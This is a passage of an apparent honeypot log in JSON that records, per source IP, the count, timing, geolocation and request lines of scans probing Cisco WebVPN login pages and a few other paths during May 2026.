        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "141.133.48.12": {
      "attack_count": 7,
      "first_seen": "2026-05-27T19:41:52.867Z",
      "last_seen": "2026-05-27T19:42:06.658Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Belmont",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "141.133.81.79": {
      "attack_count": 7,
      "first_seen": "2026-05-29T15:28:22.222Z",
      "last_seen": "2026-05-29T15:28:35.823Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Rosa",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "156.229.254.39": {
      "attack_count": 7,
      "first_seen": "2026-05-27T14:51:08.830Z",
      "last_seen": "2026-05-27T14:51:24.422Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "156.233.100.248": {
      "attack_count": 7,
      "first_seen": "2026-05-30T09:15:20.008Z",
      "last_seen": "2026-05-30T09:15:35.900Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "158.46.178.192": {
      "attack_count": 7,
      "first_seen": "2026-05-27T13:29:44.770Z",
      "last_seen": "2026-05-27T13:29:58.046Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.1.115.50": {
      "attack_count": 7,
      "first_seen": "2026-05-30T13:04:51.684Z",
      "last_seen": "2026-05-30T13:05:03.582Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.88.156.147": {
      "attack_count": 7,
      "first_seen": "2026-05-27T13:01:43.511Z",
      "last_seen": "2026-05-27T13:01:55.969Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "192.177.45.163": {
      "attack_count": 7,
      "first_seen": "2026-05-26T09:38:49.187Z",
      "last_seen": "2026-05-26T09:39:01.003Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "194.32.104.140": {
      "attack_count": 7,
      "first_seen": "2026-05-29T06:29:21.795Z",
      "last_seen": "2026-05-29T06:29:33.866Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "23.230.192.86": {
      "attack_count": 7,
      "first_seen": "2026-05-29T05:18:45.318Z",
      "last_seen": "2026-05-29T05:18:59.428Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "45.192.40.45": {
      "attack_count": 7,
      "first_seen": "2026-05-27T01:33:05.201Z",
      "last_seen": "2026-05-27T01:33:15.617Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.102.247.74": {
      "attack_count": 6,
      "first_seen": "2026-05-05T23:31:25.710Z",
      "last_seen": "2026-05-05T23:44:53.505Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.251.27.150": {
      "attack_count": 6,
      "first_seen": "2026-05-20T23:50:15.193Z",
      "last_seen": "2026-05-26T18:53:13.217Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.168.134": {
      "attack_count": 6,
      "first_seen": "2026-05-05T00:17:52.726Z",
      "last_seen": "2026-05-09T06:57:12.103Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.254.74": {
      "attack_count": 6,
      "first_seen": "2026-05-05T03:54:29.382Z",
      "last_seen": "2026-05-07T06:53:39.133Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "199.45.155.91": {
      "attack_count": 6,
      "first_seen": "2026-05-25T14:23:06.142Z",
      "last_seen": "2026-05-25T14:23:40.534Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc."
    },
    "23.234.71.199": {
      "attack_count": 6,
      "first_seen": "2026-05-02T08:03:09.615Z",
      "last_seen": "2026-05-02T08:17:11.280Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.23": {
      "attack_count": 6,
      "first_seen": "2026-05-14T01:04:12.101Z",
      "last_seen": "2026-05-14T01:20:04.340Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "3.129.187.38": {
      "attack_count": 6,
      "first_seen": "2026-05-05T13:19:45.537Z",
      "last_seen": "2026-05-09T12:00:48.960Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "66.132.195.103": {
      "attack_count": 6,
      "first_seen": "2026-05-15T03:48:11.267Z",
      "last_seen": "2026-05-15T03:49:06.009Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "68.235.46.17": {
      "attack_count": 6,
      "first_seen": "2026-05-04T14:00:54.273Z",
      "last_seen": "2026-05-07T06:15:50.047Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.191": {
      "attack_count": 5,
      "first_seen": "2026-05-05T02:10:48.764Z",
      "last_seen": "2026-05-05T02:28:09.924Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.160.24.66": {
      "attack_count": 3,
      "first_seen": "2026-05-05T22:44:55.106Z",
      "last_seen": "2026-05-05T22:45:03.229Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.234.70.73": {
      "attack_count": 3,
      "first_seen": "2026-05-11T10:20:42.825Z",
      "last_seen": "2026-05-11T10:20:51.292Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "47.251.86.217": {
      "attack_count": 3,
      "first_seen": "2026-05-23T03:11:03.649Z",
      "last_seen": "2026-05-23T03:11:07.098Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "165.227.162.50": {
      "attack_count": 2,
      "first_seen": "2026-05-03T21:33:17.495Z",
      "last_seen": "2026-05-03T21:33:24.741Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "193.32.127.229": {
      "attack_count": 2,
      "first_seen": "2026-05-07T06:52:34.686Z",
      "last_seen": "2026-05-07T06:52:37.690Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/ HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "194.187.178.3": {
      "attack_count": 2,
      "first_seen": "2026-05-05T02:28:10.380Z",
      "last_seen": "2026-05-05T02:28:13.384Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH"
    },
    "195.170.172.108": {
      "attack_count": 2,
      "first_seen": "2026-05-03T08:01:49.498Z",
      "last_seen": "2026-05-03T08:01:51.183Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 41608,
      "as_org": "NextGenWebs, S.L."
    },
    "198.235.24.67": {
      "attack_count": 2,
      "first_seen": "2026-05-03T20:20:52.313Z",
      "last_seen": "2026-05-03T20:20:55.315Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "205.210.31.210": {
      "attack_count": 2,
      "first_seen": "2026-05-07T07:54:31.295Z",
      "last_seen": "2026-05-07T07:54:34.298Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "40.67.177.206": {
      "attack_count": 2,
      "first_seen": "2026-05-29T14:38:32.693Z",
      "last_seen": "2026-05-29T14:38:35.695Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "45.10.156.193": {
      "attack_count": 2,
      "first_seen": "2026-05-21T01:45:56.542Z",
      "last_seen": "2026-05-21T01:45:57.181Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "45.156.129.186": {
      "attack_count": 2,
      "first_seen": "2026-05-02T01:30:16.224Z",
      "last_seen": "2026-05-02T01:30:19.225Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "64.62.156.189": {
      "attack_count": 2,
      "first_seen": "2026-05-18T07:49:04.340Z",
      "last_seen": "2026-05-18T07:49:19.278Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.196.152.133": {
      "attack_count": 2,
      "first_seen": "2026-05-08T20:13:02.643Z",
      "last_seen": "2026-05-20T20:20:35.449Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "100.53.194.34": {
      "attack_count": 1,
      "first_seen": "2026-05-28T01:00:37.145Z",
      "last_seen": "2026-05-28T01:00:37.145Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "178.94.134.82": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:17:15.331Z",
      "last_seen": "2026-05-30T15:17:15.331Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "185.247.137.21": {
      "attack_count": 1,
      "first_seen": "2026-05-11T12:17:28.576Z",
      "last_seen": "2026-05-11T12:17:28.576Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "52.87.171.66": {
      "attack_count": 1,
      "first_seen": "2026-05-07T00:57:17.576Z",
      "last_seen": "2026-05-07T00:57:17.576Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.164.38.251": {
      "attack_count": 1,
      "first_seen": "2026-05-20T01:00:28.545Z",
      "last_seen": "2026-05-20T01:00:28.545Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.242.125.209": {
      "attack_count": 1,
      "first_seen": "2026-05-17T00:58:27.924Z",
      "last_seen": "2026-05-17T00:58:27.924Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.86.2.95": {
      "attack_count": 1,
      "first_seen": "2026-05-09T01:15:28.323Z",
      "last_seen": "2026-05-09T01:15:28.323Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.197.232": {
      "attack_count": 1,
      "first_seen": "2026-05-03T05:29:58.549Z",
      "last_seen": "2026-05-03T05:29:58.549Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.223": {
      "attack_count": 1,
      "first_seen": "2026-05-23T05:34:56.798Z",
      "last_seen": "2026-05-23T05:34:56.798Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.196.152.250": {
      "attack_count": 1,
      "first_seen": "2026-05-22T13:42:20.170Z",
      "last_seen": "2026-05-22T13:42:20.170Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.43": {
      "attack_count": 1,
      "first_seen": "2026-05-03T11:49:08.671Z",
      "last_seen": "2026-05-03T11:49:08.671Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "37.19.221.149": {
      "attack_count": 63,
      "first_seen": "2026-05-03T03:08:02.631Z",
      "last_seen": "2026-05-27T23:52:21.315Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.83": {
      "attack_count": 39,
      "first_seen": "2026-05-08T03:04:17.549Z",
      "last_seen": "2026-05-27T02:51:23.818Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.23": {
      "attack_count": 33,
      "first_seen": "2026-05-05T06:57:28.465Z",
      "last_seen": "2026-05-27T17:35:50.444Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.221.136": {
      "attack_count": 33,
      "first_seen": "2026-05-02T03:46:46.027Z",
      "last_seen": "2026-05-28T00:07:12.547Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "103.102.246.74": {
      "attack_count": 30,
      "first_seen": "2026-05-02T06:27:08.697Z",
      "last_seen": "2026-05-29T13:30:07.125Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.118.200": {
      "attack_count": 30,
      "first_seen": "2026-05-03T10:34:05.656Z",
      "last_seen": "2026-05-30T14:34:25.494Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.222.201": {
      "attack_count": 30,
      "first_seen": "2026-05-02T05:33:07.093Z",
      "last_seen": "2026-05-21T00:38:13.607Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "87.249.134.34": {
      "attack_count": 30,
      "first_seen": "2026-05-02T01:10:51.486Z",
      "last_seen": "2026-05-30T06:31:47.811Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "45.39.244.169": {
      "attack_count": 28,
      "first_seen": "2026-05-29T09:48:11.168Z",
      "last_seen": "2026-05-30T08:06:58.014Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
